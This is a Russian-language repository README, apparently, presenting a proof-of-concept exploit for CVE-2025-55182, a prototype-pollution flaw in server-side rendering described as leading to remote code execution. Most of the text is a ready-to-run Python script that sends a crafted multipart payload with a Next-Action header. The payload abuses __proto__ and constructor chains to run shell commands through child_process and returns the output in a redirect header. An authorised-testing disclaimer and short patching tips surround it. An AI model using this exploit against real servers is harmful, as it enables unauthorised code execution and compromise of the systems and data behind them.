
Эксплойт Proof-of-Concept для CVE-2025-55182, демонстрирующий загрязнение прототипа, приводящее к удаленному выполнению кода в реализациях серверного рендеринга. Включает Python-скрипт эксплойта и рекомендации по безопасности.
Этот репозиторий содержит Proof-of-Concept (PoC) для CVE-2025-55182 — уязвимости, связанной с Prototype Pollution, приводящей к удалённому выполнению кода (RCE) в некоторых реализациях серверного рендеринга.
⚠️ Предупреждение: Данный PoC предназначен строго для образовательных, исследовательских целей и авторизованного тестирования безопасности на личных или контролируемых средах. Несанкционированное использование на системах без разрешения незаконно.
Уязвимость возникает, когда непроверенные пользовательские данные внедряются во внутренние структуры объектов JavaScript (Prototype Pollution). В сочетании с определёнными потоками выполнения это может привести к произвольному выполнению кода.
В данном PoC используются цепочки свойств, такие как __proto__ и constructor, для эскалации загрязнения в контекст выполнения.
Ниже представлен exploit.py, демонстрирующий, как можно эксплуатировать уязвимость:
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
Убедитесь, что запускаете его только в локальной или тестовой среде.
Если эта уязвимость затрагивает реальный проект, проверьте наличие и установите последние исправления безопасности, выпущенные мейнтейнерами.
npm audit и применяйте npm audit fix для обеспечения безопасности зависимостейchild_process в продакшенеMIT License